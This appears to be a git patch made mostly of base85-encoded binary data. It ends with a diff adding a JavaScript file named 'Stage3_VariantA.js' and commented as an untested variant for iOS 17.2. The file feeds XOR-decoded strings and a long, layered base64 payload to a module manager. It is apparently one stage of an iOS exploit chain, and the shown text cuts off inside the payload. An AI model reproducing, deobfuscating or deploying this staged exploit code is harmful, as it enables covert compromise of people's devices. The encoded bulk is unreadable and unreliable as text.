zP@9lmL{u{2GUxl-dj=xj;(7mh`Fz6Od+oK?de*a^_1xE*TIw2nv*IQHSG-|^^vw_Z z|0~aPY;9=aXtGtmS$>e``P=#BQFEqpeSe5)OLC`V9~x(x4<`vfNw!b<2)MtUKI%z# zMDDc7w<+E@Y6!7_B(t&r|EFw@-HEI#?6@S_(zoaOa)4_03?Yu;4u#=$ z$B{Q$V=qi{9oXVFZIOJF*O70U+li0W<0lu*iQXa`hWwX&OQV6QE8m~zk?;L?4o@&v z`xiQf)PKR_MRr4fTBqB9qXRyqb@L6r5lv}s>hWny&fYIP0;flD6#N$5tef}U?yS~e zLrE99fYw3BUe_J0$5UOjM{;Mg1rL1}TJZSb3(vWBRmxvjWv!eZk6f9!G41%c!C8WB z?_iS?hF=^#6Ylh9{|&u0FgA^O zEZ@MR66f$;*v%}$Lv!Daw znCJ3N@>A^zXTo>O&s}%a7nzffVUyZ?=ohXh>)j34JT@*mA1~;=>!b%;UV931x2 zj$qghEW%~WIM;zr@OU4(v&;PW9oKp7?;MsqqW;AWOg7I>wBZ_6T@PHsZRh)uQrdg@ zZD0~#ij8q6?WUY*7kbhdc~5(`?9dob_B!*UF{Yc8>V|hCrT9Hdj?tEQz`60iNoI4& z9O4sZkQ0Z~SpCmKYi@I@*bQx=kG^-c*1c&y#P#qt(=7PG>B|MQ`xgC`VRx;{HVMR^ zlclrnzAJNT2X)CCe#A#C6yB1j=K#;*1L>vs=Ki=Pt(KoQOn$gcnTm|(dQ{v1c>ypg&O4cK`#nG>(`TGWq z_V>M!=3m>AC||_rkadybMfD{YpHJ){(QFq#KZ&fj+u+^jX=B%96Mmt@gzpBoDde9V zyKPI!bFb~Duar<7z6Q^4YajAjnpgjUd@HGXE3prc_vSXwmrP>U)uwINWIx~g5kbN= zG)|cZI@mY&@sfRkwi>O2>3`l*GX0M`YX&7uUt2Dn5xVerP0k7V2kTtHRA5ZzFG4&b zX`E>u;U3fE@wU&GtW5jbmb9yRH@bc+ThGzqkQomHcV(fkX*zhx0xy%j$W?1pPs`Zi zzJ0_@y*DU+qUY&-)Aj82w`I}Z4C*Vsf9o)lu*L1|S&Hx5>-ILq;ZL8z`%B>s#CQ+X z+279Ws{+<|#$IQQt}cM5fCI)oDp9cYT#Y=o;;TK)rEA$6QF`S2`1#Pw^3ab0?$qk7 zeUZ|4;ZOe_?GOJ59(iIeF)ijwxc(717hn80@^{Myb95|i7Xw=+u#G&GpKvkn&O9fW zgbd*pIJ%jeAaf&}X2@PM_uJoe6R*r_FwJXt7Mdr@@P^>C zg?RyD+0rSpth6hG&${xCl>75$tar_sVO^M*b?=zO>6SNJ0dKPFP&&gwI*6wTPcjQOS)ek{z&FjYvKp^E~XQ6_F`9w7Rrbj zZzMJxd(OblZ3Vv`@Y)Lgc8)Y**|a-_CtyO@S*D7owu8jJ=>~H zX%F92^Bki8fEC{}jItj9+qaON;yd}!+`_v|=|3kK)@581>#wJ~%9IAP<&X33KLQN% zk>3Hgr)QkXL*&iyoNuM|1S|1N4KW91ST4TfJuCjm?*BR&NEB_buD%~kFTc0&;zl_~KZ`$_g{@nK0n6P3BA1YrP?e{;>c|Pj>ebM*# zn{fXzw9*H*&FqJW1xAWoZNWoUbL%1Wsd4V$E*JOE=6eUN;0fuV!_0OIIk1&{mn6%v z7sQ`Oa(^qf!@gUtm^>LfLiZlzN%1YjL^h=KJ~hsDKzi!k(3td;mg`L}_GZcLl)uNl^4f-tX)T{GZc4F6B`Rki%}Q!gjPnrv9%k)) zjWHI}cP3-=Ad_VezY*tOyA@iOU$X2ECfAQmAv(t=^Kt;YVgh!bpKBg|l~wRq*-q(J zQqR^CkMLLncG%)PVrdsQIU^cWQgW1c-0kC)=+;9^_7RX<4S*cYNkItX^=mhI=diCKBKRo z6Lwr@w&$dq9Qj^%xkl|@=Spq5*PYy?95rZtDw}Q-J?jU}Nl!rbpcg3jY$!UD@W`fI z``NmX_!F>K(q7rMjEAwu@qIVzBHv2wSuo0!UP>H$332QPGJdl;U|B04K+ZN=p3sa7 zO+pXx>=(dUda7A@8FEX0rZV-x^PW_6u5;QOOWCKj$DD6J0!%Y5_lIWzOAqon;)?6p zkPok={F$J??FQugZg_I{7ftC6=_YYEW9wipcQZB%IkeQG9{G9XuGq4N=Qf_>d2UmF zPI|#*J>)7R6rvxTAUEJRISfx}9K+y$$YbGbPZIHd^sT=`m&egpH|ssRSiQ!X!F%-d zbI11-I_Ia254$_Lk2$-aYs+wx)5Dmm7%NBRFivkz(Ntn1j4|7mDW0BvQ;-#mQTmp~ z7>JHBjxo+)jB(L1@{HayDxT*ya+sR&8LVtze8fu034QcaXKCn!3>Yu8Q_6dV;Q$BT^!K*SS-BUSyt@ zK&P=Bi8^RYI$ShYB0;$l>?gP3*7wRqW50H?+EE+$&bCiyoT7;k@Xe&{0I(I0M@|Fl zENdt^F)2O!E;psKfOAU}e_NvX`v-770G!08Y#QOYjpult$$Mj*1()_;x zX5YYpxj5f*6)7mUJZ}G9Ui|OpL!0lfidv2ljMry(+H=6pKt3P-iSRO z&g5RaKj{i`p5ZOGUSJ;Cc$2?vBf4PYO!AY!wRf18ao$&=yq4fN<`;gjkgL5mMW1fz zJkaM@#){pgx^>hk;#v9<{H(OvHDdp;_Ft4N0nR1xv&YCCI={W8dleF5}(fz>-@ zIQn|}mpOwEy>hr~SX{d6{AvUK_)C7=`+a{dVDIJqZC zKZ1LUE460>xyCjhXKY!vewWD*azUT zx`k)0edK4Ubm>;+w;OpI&v#D~+X$l1hR`j=FX|Y#KVxR!#s?#%J;-X072njuoL7Pu z;l$4v-UHS~*8aMakrYn9T-hR?ayji|Tco&6SoZ4?z74yub!`3cwm$DSBKRayL!B9p z&h;X2-$srpzQdJ!x%XIGHeZDttYl3|S1q7SagM8wk@tb`qN}J7d)r!B56?u%hVTO= zbc3sI(eS;Qz4|62-O=&J(5_%CQ|to!I~CZUjM@vu*b7_Sp6UhX!)N;03o(6GHiIu? zZlCOgBF2Xfl~BMnwuU5652F(_(T8-N_vz=aL+OXLU{?FX#2>c5di!bHKO~*mh3-6; z9KyZW3$6G8j#01j{u_fM3#{e^|Dmyt48@^0mdD*pylZ4=h+krSf?#F^Yt(wswnKMEa)a_mOBZrs8~%ts-(&18;FEEN8!mQmBb>hZ4t^c{ zP-;`}RLAP~{x#kU$0~mhnW8$K7dbkvzJG=Hz1Z^46RVRPYKwH%}&e7+$6}b+4ccJTm;tx6S44W6NkK{g2-F?tx6+X(n_nBtNqQIl*0^$Yx zoNJu?FVLv$atlAyW6bGaPDD~FXe;=D%YvdKmWM6b|D+qd-`vW{vclQ6*b+noN zJH0>OB<$BU(Io6sd5W3+Yp%C~zsc~KJ4O@VV6J@9lhDUJ@aHuCh=abo>HIYI{IGuD zOEazbxS{Z)I%{Zk12)V|bk3%`p5FBjbiHpx*G@I_H4C0|Z^F=~n5>EEAg^0-JuMkG z_7yhV*4NT}TVEBvi{s=n{)TUku}|p^%Qtx`-~BMbpZ72K`0Urc={541{BW56-ha8K zPI>w~e|U}+zaJa8M?6nD`C-Whua4e+j+?^i3~1?UTkg89sr2$y%nJZe*AC z7IafL;2zPF5ss8jWc{j7waxf?)Za1mo4;dI`~#dk0BjGSZ~g#(%rhf^i?ZM6@&^x^ z0RH~K+@&wZ&Ig{i(XkH{@a!5^-AFq=*M#_VGpyRfyMJ2=@x%*W{sXxDJ-iovY9+b& zrN5(}-)30NKeUF=9LD_p|J$ivj{JZ-QabTXIpYSH`x=(nT6({Xsm!^o5ROZ{!q6Q{FgE7Q^wrTY%@_}2>WCs-$((USZKGAKJf*|rn< z>r&ELE`?s#;h#ze2fpSReOc(Aaiq1+KvrhY%tlT*~>@IB~#UJ zgW9db?-*@&3ARXA{@Lftu=(nWidJ&?QmNw7Uy0U_!Esr%e(ZS(40FI!Zp#GtR%%ZN zI#f(Yt3nQZA6km(u48B$-aos6t6<+79m{XgeKZF?U=l3(f<65#PJY09;Wh?)2RN*A zU%Rq}>jBl>-473{TYvVMoD>_svMp3E*2ZsHhpHEQ_UpSA;?&ez2dy7PX6bzlMtrOG z`%%32l%0hQS!%bVb?EV*?YEsZt9ohC@>oAw%PO~R4(gw2A39OFo=4~#-`PIOpi#9g znmAwY+Rye=53P$1Tlvnmr+63ZtA#bMcd_R^!%gXJr*|h_Rpd{obEj2%xc4-CJ8hrA ze?crK`%P!fT>6H!LhGx%Vbf;z@>RF;-bH@E_cln6K*v&U0zBtGSx3?l%r%kRPg+a= z1h@Uy($~*fOC9H|rLyQ+`X*!jq_uQ8bJBk;ef^xZWg|asi!`^4ZV+S z_;T-j_N;V9kqYVIx;FR`|vvQf6O|n|Acka@(Jsx{S($vN56G+ zc0N4S1s6q1E9;WyR3bNB$SvDPTo*ToJ%cOlHS=g=n$}q{ZQ~QEuA-g$sHeQ6$~rIg z(pEMa*@*QeV;dUNGWI#^?|a)mxXzxzzbTxy`y#n5e_b7XVv}imywHRnb9sY}*oQ&% z$_(t{-E~ugtx?~vk9LnRj|cv(y-LaWz(x>b7!i7p{n2Wx>~oRaUUc%Q&=zs$P@{AT zWOOBZqw++gLlvVxP0zYc`=|Hcg8n!XrB8gJ6TLbF(?_h% zJ=A%EI%UNCWt*u^=L=3hu{z7C^AL6X*vqoZR43zw5B9Z~Ivc42-`OtvRr$2#l*ukF z`?7KvMuon_bJ+sjr-tV1ezES;LUVP0m+nW0N_D@?gd6!T*8feERpNh^43 ze{*r)MtD?r_N<@}UAq9CwEHf9cq~`t%Dw^p3GbHyOE>gJTWzmK=RY$#@7tpD9tVt? z`(lr=;cNv?>5%(|m>lIJ#QdsLfU^o)Vk)qvqQ`sPj*i~|-$)u~HG9$FC*P3z#Oto4 zo^E(XrHeS&#rQ+u6FL(BU+>Wk;u*kKg}=TJ-{94>U%ale*R~_DL1vsYM(OHy|5<0p zSylDnalZ2}<%^EauA(2#<4i~&Hod0^ztyTjtGUia91>kRM)xD>(@VTz6uv3x+8XN? zm$!NYHeW724!xhGD?08(uKnlsPxMpF`jGyd$#w7P-8GN7Jn@%M?@XRRs!15fv+SPC zY5rZ^ZWH!^%MpzGU1AvBtgEbhSMS<~Z$Pn-6!do+wh_z&aSso?KjISapWBBYk^RE; zFCUvv+$7t7Zva2ii{P+g?b>^GbIge!epg}LGv&T~lPEjA6J6mjw5)u_#Ze!p;>#M7 zV!Ulr{SU2M8@{LFYLoa;-`p1c#*feFucsrEWfR|eGLqxvTfvGw*rv9yPnvfZX7-Rf zZ2MPL)(dYs!QYmAPM2REDLu5o9~3<3`}l}Ph3>|$P)t49MI)``cNFd`ik)S+%Ti_9pTawGTkK2~*(H z-7f~FW-T3^n2$}Zc!s{~zAv!L0_R$D$TYDky{U++FBzyQ*T; z6XfLdR6#$P(HOP(OeXW{Jymoti~Qa!>|*Vq^=vFUIQr=NgV$hlG*++ctwQ$Q74?nA z_)n0vDISx=Sk{d*NB4lQJnYqc_Wa9dEI7Mu-=eokInsi8H|uO1Yq9c+@FemdKl~GUfE?C%#UnI7q7mC4Nv>HF@TzVnWiFl<*|3fH zP`>zQ+57(-eMX{ts{T9VhJI7dZG&I8LBF|n8-hV? zFh2HvrPyV>_rPoyE5Z#6LnFE}8+LOwD)<-bYZ zYR^BS>jOH}e#1k+cxJC5b0=Kh2Tzm?7JeK$BCl3-#Ir+3=j7NMK=qYr%R zOtlty$8l}%T)(J_HM+?NK1>z#}z-B{IkL0cZygJ@Y-PDP(7 zTF|=?{-A;GVcbT0<}23df#mIei@FW)yM_GujA>h740Oj?YoBnYn%-~H92B`Y6VA=K zCWDZZ=OHf#BR7Yzf6v4IJs10r-JwJ9i}#Uz9_%#f3FHyl`)%4UHMx6{Z^TBz*~pO; z)^_G>)2y+dDbI+OH=Abhfy``t)^%1;zHsqjatU9?@Ah&Zda#Z6OH5n$NdMGp$nWTt z4_G-K_?*8EEl6+uC$cl0c-~O#eC2Z)d<1&V;G8D>#%<_BZ7$?;*CqZoH&;6c3OaZL zd*MxZ+*|PZzoTOe#RjXtNV#WYLh^5akNu&QZ?oe&{rY8p*Z@QN$yN_ zhSOIy`3+yO#)Q<@5%L?54auKnPQK6BiD%`qZtT7^cEMLj|3`rD+`cNw(~0%fz&j&jFMd61tGtsTZTAvcTJMXm42di6C2Zu(4*$f%b2n< z{EV%O*A_?;SF8Hm%H4aY!^DD^qp*c7VJ}OOB!mn z-}8=BraVmLv2k9?BlW`_J6w9wA;flT!lKy(^ zBj!qT{|lW}#F!*QPOU43PhStez7D=U4gP&C=Ta51&(k#^T_(PVID3?zOFs2zEV1Vi zCPDGkGtUJk;V{pcGv|T4Yw~(E6uJE?erFbQy9hV>sspC79X3b71f3$c}-? zus9^pFBJ#Ns_lgrNo4}-zS5b)vwKVIZm9Or1bnq&Da?d%no9oN9M@^f?Xt(lzK ze-(z4^?ZbUc-H)gR%F&?=!MYpo(mmc*HavTmX7c5@IpgAdQ#|z$Pe^L>{=8033CRW zh2;~FOzUzb+vkpDx}0ykmh@{A_IO!;lT6$D+puNjM>N(QC+ZqYuJ--3=5MDrmE7Um zQPYcGek#v@<~fh&M^0}nDdj3Z!i(5pDP~2p?ss#~9=o1FQ~iD9UX;EPm)6wjGW!qV zW7+@==dnN2ME856E1x=an0=e%_PCkj)12QDA89JNly=LY*T3MC6K!`xx7m9Fy8^^K zeCVR&c~&=Y%|>n$+p1O`T)<+FAoHg9sZ&0t+Q)n=m&YKZrE@cf2hw-Ak8X?RmhC0q z#(NF^o!;Fw#$_QveLY@h8>6hgsU52wuTSA@H>vkL-{y zNc37|9xU01PiTbYjTi3aKM7nwESEf*R^G{9ltta?)Wyz>-|aFhMCpP?*w(E7(k-0FGK+C+ zAy-TI(z6A=PC`GDH;0+GVa#bFeQx2*mU`7?|8ghS{&oI>PA?u2D{JRj`w(K!YA2C) zB*z4wV95d|!BIee@(CRWPxiTYF#G$6dRW zH8vo=@?Ll3@yTxT4B-jNJ(i7SoicVj%{ACrONXIFt)bW8w^~0wXRr9n7PwphEJe_1 zbYJPq&x+33x8lRE!5Rxy9%8Q_=V$~uM?*GbEVe3o4RWSN6=!P1Y|9{LXYAvQ4n1e! zvs(l0Yc5Y>a~;R->wp$)9{|4cO{|HIpBsCPQ}*&-8HaLfv`$+Nn>(p_{~;! zExxZL>(2X1G7}m%%XZz4-7C2^l=fQ^{lMFZpR>N?X7HkMwBTFGjMDHLwX80TK{)hysJMQ$ywv_KP+FE9jA$7oaiC6J^A&?{&)7k&xBX?(@G!MRu5@xd+BTB zuWBBO`N~?U8}pUz=HBs@jlicW-_}UmUza4`9DNDbueusHJL~?l`$|uAojqg6%e?FZ zuGm>Shp-u2;Y)(q)@cUK%|o}&@g~g83*ytmuQ=dycsl7v^*tAIHp=NpZqezKDe^nY zFVuJE&)`!ZKF3UaBGcvYep6s(kHBZG`Fl}5YWaz=RWn&PI+q4MUJ@KTEjS7vGWZLp z;;Vi2_YNP(B$lE$pLlR4zNc3FnZ9vOyl(;Y{Rj4-8pb1Et@3S|n^JO%_h(U8{)=(& z+e~5_dFZFd@jb@+CXcgv9P7mgjDBRwsdd-FcZ=Y=g^Z^FzWb{I`Kvcaag&8Up!kG* zB+7{r?~N3F^cinDr$WB?7%g|8v%SLK^ZY%`-y--K`;{izGHMW4#@>j%|1{U2tFSHK z8dP1xearmHUi6=tFd_ye9leTPWtVF-x}&^e$Jh5=4wE)^>g6k zqj{4XzT{$FE#}pPiigYZ=m{lKztM#s9T@lgA~qJ{L7eg9XPFE2KH{(6i39*vtD ziEWDa>RUJ8ejfjj+H1tWqq5U~Ck_Dow+zu4P4y+(|1j!%PP?8<{J}WeZ)c8Pl6r>Z9$nDR3G!Kq$y=H2G#An>I<^5yW5{{x<+PjC*4z1LoR zO878Q{5?tATDQk2OPObaErX)?h2Eaw-66^~k6M#jkBXIllXA%}KQw$M_Cb5Ipanh4 zhjc%6qz^shJt8zO3O9Pk%MRS1?cBm*zK^_Q9q7B$1^;!!hX=ur`Hg~g zgRvd0=3I3DTj0~irYm>oC1^+TMDrqfZTqc(w>!>%Z`S%jqdf%|Hz}5>bBpHUGhsYA znm^6Ssdd-U_B8sqmcEMM^@TzD9@zQ^&Obqu^WZh%^ZobckH$9yFV2t0rqC5%(H?BH zPI!&v`l0Cj`^Aru3CAh-F%~~#d7Sg{W#8^4Zl^s@>>V!M7g7$pvj<9fx*bK5b)07d zJ>0;4LB)wGt=^s9Q;QCIzV3f0^TOii_7Q_s|6A$*H%=@TITW{FywLk4L(XJU^;5_} z@2PnQJ>;1;uC46#SXoV?GxbH>DBQVFI`Hjz0dOOA5GtXqMol{ zYLj9RTgFbU-pKep`TmDm8M`-9b}(zlvS;J=mmN%ZFMDUYwQ;lId*uPBF7e({FLhhi zR`rTUsea}cZhp?YTlH^#XROt@+1kJIAhEVb+F2)_ ztoz?OtJCFkjv2D8G(YO=FCezs3BDesj_gm}|CoE>UiaVOUb0U2ZFV~YJI}R>x|#3< z>12DEZ)}~C>>P4V(8Ffpcc?@ElAnlk32Z+@7QU*P=PAEBz6n3k%1&grvF(XZk9XWi zU&X_SRb1rkooBu{m-^Gc^Yfj~FZ$TuF~PU_XW-6*e(+~(f8RX>zC9TJFbEoR+h?VS z_k9;%;Cy}>_Aq?G(Us3*jSdbyimxW!q*h-W@9fznM=)3VgKxA+kUb~9CLVLht?x#` z*Hc3HCLXEB{?NNF>_Ek^_LAS!YOa{v!8)IUU#ufqmT6rvMeE$B931xeHbReQ*LqTq zmuH<5i)<*}jbEZ&SNs$i&?30yY#@G@h4_qQqv+HwBd?vZc#oAd6Q9p)$;|%c)U|aj zm7RO;n&RjKJ!7f!P2t{6jLHMA^ujaa;GOaCP|lZJH;i+5-OXCZvD}P|b&fvpB4;7N z6LUJ(p4IDqP8l?vQwu-KVXoSN`IynFoo&>qXD@yS@mkf{v;2c~?xxOW>XZ>nP<*^H zj|7px!S0S=163J04q6-@Wf5QH*ONe=sXLDkkJJ?HH*P|Sq zajb(&JWmuXbKsvEZJRSYn$<==xm+jk4fPWH<@XIr<@b(#m&JFPUoY(KoBx5Z zWsXdMSCNl%bJgleIO2H8vfeUoq=*VCO}K-;nNP4)i~> zTD(d$UOCOotBmSO9q_zPc;O*gOfbVM5>Ksjbhm-V-T(Yi{o{+b z`!6u_gg5DG!6Nd`fU5%@`V{wqMR4pB9N<$jbNGJ&j-7(z6J$i=H4eRvn(Ys!zE%(% zF@kw_J7;5E;U@~#dET)F^O42{r6sKr6!_ZWaEU)^*n%t^E*|x&7<#GD>~0K ztnXwy#B4afYzSn1?46Ig{q?(n<}aNOUOq|}o@%~o=fRIyUYNl8*uIB9o$+=bSLw+` z{cJbsEgAH$wbOUl=4EGP8+wV#-=#bS{{ixKyW%JHj7R#+h)Yd^{6)F+r*okD^P|7> zjbk5uc3b;Te0#3FIcJnVyavBTCcgC7**A^cFZD$4eZ*trXIJ@Fd=#tk*RIAN;ozGb zz{T|?3G5->zPTW*Zz?(W$#e2QOInaUTi1WP5`HRg z70=?g)E@js$@A)$vwmVca-iq(Kgf5oZ%;0_;O`%8;~vD{K8ZQOcZ9FX$=8*STY3j) z?*^GiJ5NV@`b+Cg^S9F-*?ha^_&j{uQQ6%I@7j#)cFuH44V8gM`I?__J+XO&+w5@4 zM}_874o&B%U9F8qWH0$A+IyiG>dTvv+fLn-&`r@cZgD@lnfQ9M>dr4x4!Ni2Ffua+ zdn0+RI{!fX>G6%*d+FWewXOrtx9}(1s1iB37uznFT^N-8sT{>j3q65#7su7Hojz=% zpIna4IzT%;2Yi209`v+_yAK{X>EX?F);{i4jtrz_fsYvj!Ry>{Tsh}qWFc}&zb1I zx4-k_z>=No8-^u6Sv%|3&tH4)bFAJcUVRVvlSp#Oq*5{rTvzAcaMV=;dOrG}-m%6% z@}GWlpfTfH@93qUzvTL7OT7Gf_>2Bb`l2P}ix$jp-(8=udR5JYB~=S1P^-3Lsc!Wv(&PEBYJmv^ zN~g^$4l(iOG$2G-P;FIWPIcGvv+{Gy^I<*QcRTwbMFkN%i= z6ssT6kJDqUVzk2nf3`6CLG&l(7uQq(NcpNIfi+8(-|5`x=HvUVttnp^8)jhnssObE z{C4|l(Mt633>ISriz*hEuU=AX)|9VWQN!ECCUE1N>nmz+0Ae z7Ei2LR59g>#S0dUUs|KG%1{@(Dke9RL6T literal 0 HcmV?d00001 diff --git a/other/Stage3_VariantA.js b/other/Stage3_VariantA.js new file mode 100644 index 0000000..ece7897 --- /dev/null +++ b/other/Stage3_VariantA.js @@ -0,0 +1,426 @@ +// Variant A for iOS 17.2 is untested, might not work + +let r = {}; +globalThis.moduleManager.fgPoij(([0, 6, 85, 80, 86, 86, 80, 0, 10, 80, 86, 82, 87, 85, 11, 81, 10, 0, 81, 82, 0, 82, 1, 10, 85, 86, 7, 5, 7, 0, 80, 81, 1, 6, 10, 10, 7, 6, 6, 11].map(x => { + return String.fromCharCode(x ^ 51); +}).join("")), "bGV0IHI9e307Z2xvYmFsVGhpcy5vYkNoVEsuZmdQb2lqKChbNDgsIDUxLCAxMDEsIDk5LCA5NiwgNTUsIDUyLCAxMDAsIDQ5LCA5OSwgNDgsIDUyLCA5NiwgOTgsIDEwMSwgMTAzLCAxMDYsIDU1LCAxMDAsIDEwNywgNTEsIDQ4LCAxMDcsIDEwMiwgMTAzLCA1NCwgOTYsIDQ5LCA1NCwgNTIsIDU0LCAxMDMsIDk5LCA1NSwgMTAzLCA5NywgNTQsIDQ5LCA1NCwgMTA2XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDgyKTt9KS5qb2luKCIiKSksImJHVjBJSEk5ZTMwN1kyOXVjM1FnZUQxbmJHOWlZV3hVYUdsekxtOWlRMmhVU3k1b1VFd3pUMjRvS0ZzeE1qVXNJREV5Tnl3Z01USTJMQ0F4TWpJc0lERXlNQ3dnTVRJeUxDQXhNakFzSURFeU5pd2dORFFzSURFeU5pd2dNVEl5TENBeE1qQXNJREV5Tnl3Z01URXpMQ0EwTWl3Z05ERXNJRFF4TENBME5Dd2dNVEl3TENBME5Td2dNVEkxTENBeE1qY3NJRFExTENBeE1qWXNJRFEwTENBeE1UTXNJRFExTENBME15d2dNVEV6TENBeE1qTXNJREV5TVN3Z01USXlMQ0F4TWpBc0lEUXpMQ0F4TWpBc0lEUTJMQ0F4TWpVc0lERXlNaXdnTVRJMExDQXhNamRkTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdOeklwTzMwcExtcHZhVzRvSWlJcEtTa3NlMDQ2UjMwOVoyeHZZbUZzVkdocGN5NXZZa05vVkVzdWFGQk1NMDl1S0NoYk5qVXNJRFkzTENBMk5pd2dOekFzSURZNExDQTNNQ3dnTmpnc0lEWTJMQ0F4Tml3Z05qWXNJRGN3TENBMk9Dd2dOamNzSURjM0xDQXlNaXdnTWpFc0lESXhMQ0F4Tml3Z05qZ3NJREUzTENBMk5Td2dOamNzSURFM0xDQTJOaXdnTVRZc0lEYzNMQ0F4Tnl3Z01qTXNJRGMzTENBM01Td2dOamtzSURjd0xDQTJPQ3dnTWpNc0lEWTRMQ0F4T0N3Z05qVXNJRGN3TENBMk5Dd2dOamRkTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdNVEUyS1R0OUtTNXFiMmx1S0NJaUtTa3BMRkE5WjJ4dlltRnNWR2hwY3k1dllrTm9WRXN1YUZCTU0wOXVLQ2hiTkN3Z01Td2dNeXdnTXl3Z01USXNJRGcyTENBNE5Dd2dOaXdnT0Rjc0lEUXNJREFzSURRc0lERXlMQ0E0Tnl3Z09EUXNJRGNzSURnMExDQXhNeXdnT0RNc0lERXNJRFVzSURnM0xDQTRNQ3dnTnl3Z01UTXNJRElzSURnekxDQXpMQ0F4TENBekxDQTRNU3dnTVN3Z09ERXNJRElzSURBc0lERXlMQ0EyTENBNE1Dd2dPRGNzSURWZExtMWhjQ2g0SUQwK0lIdHlaWFIxY200Z1UzUnlhVzVuTG1aeWIyMURhR0Z5UTI5a1pTaDRJRjRnTlRNcE8zMHBMbXB2YVc0b0lpSXBLU2tzZTNwdU9rWjlQV2RzYjJKaGJGUm9hWE11YjJKRGFGUkxMbWhRVEROUGJpZ29XekV3Tnl3Z01URXdMQ0F4TURnc0lERXdPQ3dnT1Rrc0lEVTNMQ0ExT1N3Z01UQTFMQ0ExTml3Z01UQTNMQ0F4TVRFc0lERXdOeXdnT1Rrc0lEVTJMQ0ExT1N3Z01UQTBMQ0ExT1N3Z09UZ3NJRFl3TENBeE1UQXNJREV3Tml3Z05UWXNJRFl6TENBeE1EUXNJRGs0TENBeE1Ea3NJRFl3TENBeE1EZ3NJREV4TUN3Z01UQTRMQ0EyTWl3Z01URXdMQ0EyTWl3Z01UQTVMQ0F4TVRFc0lEazVMQ0F4TURVc0lEWXpMQ0ExTml3Z01UQTJYUzV0WVhBb2VDQTlQaUI3Y21WMGRYSnVJRk4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvZUNCZUlEa3dLVHQ5S1M1cWIybHVLQ0lpS1NrcExGbzlSaTVNYmp0bWRXNWpkR2x2YmlCWktIUXNjajBoTVNsN1kyOXVjM1FnWlQxUUxucHVMbGh1TEc0OVpTNXBjaWgwTGtnb01UWXBLVHRzWlhRZ2N6MTBMa2dvTXpJcExHazlibVYzSUhndVZuUW9NQ3d3S1N4dlBTRXdMR2c5SVRFc1l6MXVkV3hzTEd3OWJuVnNiQ3htUFc1MWJHd3NZVDB3TEhVOWJuVnNiQ3hrUFc1MWJHd3NkejF1ZFd4c0xHYzliblZzYkN4dFBTRXhPMk52Ym5OMElFVTlXMTA3Wm05eUtHeGxkQ0JtUFRBN1pqeHVPMllyS3lsN1kyOXVjM1FnYmoxbExtbHlLSE1wTEdZOVpTNXBjaWh6TGtnb05Da3BPM04zYVhSamFDaHVLWHRqWVhObElERTFPbTA5SVRBN1luSmxZV3M3WTJGelpTQTFNRHB5SmlZeFBUMDlaUzVwY2loekxrZ29PQ2twSmlZb2R6MGhNQ3huUFdVdWFYSW9jeTVJS0RFeUtTa3BPMkp5WldGck8yTmhjMlVnTWpVNmUyTnZibk4wSUc0OWUxaGxPbVV1VkhJb2N5NUlLRGdwTERFMktTeHhaVHBsTGxWeUtITXVTQ2d5TkNrcExFVnZPbVV1VlhJb2N5NUlLREkwS1Nrc1QyODZaUzVWY2loekxrZ29NeklwS1N4UlpUcGxMbFZ5S0hNdVNDZzBNQ2twTEhwdk9tVXVWWElvY3k1SUtEUTRLU2tzSkc4NlpTNXBjaWh6TGtnb05UWXBLU3h4YnpwbExtbHlLSE11U0NnMk1Da3BMRTF2T21VdWFYSW9jeTVJS0RZMEtTa3NabXhoWjNNNlpTNXBjaWh6TGtnb05qZ3BLU3hFYnpwekxrZ29OeklwTEV4dk9udDlMR1IxYlhBb0tYdDlmVHRwWmloeUtXWnZjaWhzWlhRZ2REMHdPM1E4Ymk1TmJ6dDBLejB4S1h0amIyNXpkQ0J5UFc0dVJHOHVTQ2c0TUNwMEtTeHpQWHRZWlRwbExsUnlLSEl1U0NneE5pa3NNVFlwTEZadk9tVXVWSElvY2k1SUtEQXBMREUyS1N4eFpUcGxMbFZ5S0hJdVNDZ3pNaWtwTEU5dk9tVXVWWElvY2k1SUtEUXdLU2tzVVdVNlpTNXBjaWh5TGtnb05EZ3BLU3hrZFcxd0tDbDdmWDA3Ymk1TWIxdHpMbFp2WFQxemZYTjNhWFJqYUNoRkxuQjFjMmdvYmlrc2JpNVlaU2w3WTJGelpTaGJNVEV4TENBeE1URXNJREV3TUN3Z01URTNMQ0F4TURRc0lERXdNRjB1YldGd0tIZ2dQVDRnZTNKbGRIVnliaUJUZEhKcGJtY3Vabkp2YlVOb1lYSkRiMlJsS0hnZ1hpQTBPQ2s3ZlNrdWFtOXBiaWdpSWlrcE9tNHVVV1V1UlhRb0tUOXZQU0V4T213OWRDNXpkV0lvYmk1UlpTa3NhVDEwTG5OMVlpaHVMbkZsS1R0aWNtVmhhenRqWVhObEtGc3hNRFVzSURFd05Td2dNVEl5TENBeE1qY3NJREV5TUN3Z01USTFMQ0F4TVRVc0lERXhOQ3dnTVRJM0xDQTVPRjB1YldGd0tIZ2dQVDRnZTNKbGRIVnliaUJUZEhKcGJtY3Vabkp2YlVOb1lYSkRiMlJsS0hnZ1hpQTFOQ2s3ZlNrdWFtOXBiaWdpSWlrcE9uVTliaTV4WlM1aFpHUW9hU2t1YzNWaUtHNHVVV1VwTzJKeVpXRnJPMk5oYzJVb1d6UTBMQ0EwTkN3Z05UQXNJRE00TENBek9Td2dOVGtzSURRMExDQTBPQ3dnTmpBc0lEWXhMQ0F6TWl3Z016bGRMbTFoY0NoNElEMCtJSHR5WlhSMWNtNGdVM1J5YVc1bkxtWnliMjFEYUdGeVEyOWtaU2g0SUY0Z01URTFLVHQ5S1M1cWIybHVLQ0lpS1NrNmFXWW9jaWw3WTI5dWMzUWdkRDF1TGt4dkxsOWZZWFYwYUY5bmIzUTdkbTlwWkNBd0lUMDlkQ1ltS0dROWRDNXhaUzVoWkdRb2FTa3BmWDFpY21WaGEzMWpZWE5sSUNnME1qazBPVFkzTWprMklDc2dLRGt5T1RreE5qYzRNeUJlSUMweE1qRTNOVFkyT0RrNUtTazZhRDBoTUN4alBXVXVhWElvY3k1SUtEUXdLU2tzWVQxbExtbHlLSE11U0NnME5Da3BPMkp5WldGck8yTmhjMlVnS0RReU9UUTVOamN5T1RZZ0t5QW9NVGcyTnpZMU9ETXlPU0JlSUMweU56azRNalV6TURJcEtUcG9QU0V3TEdNOVpTNXBjaWh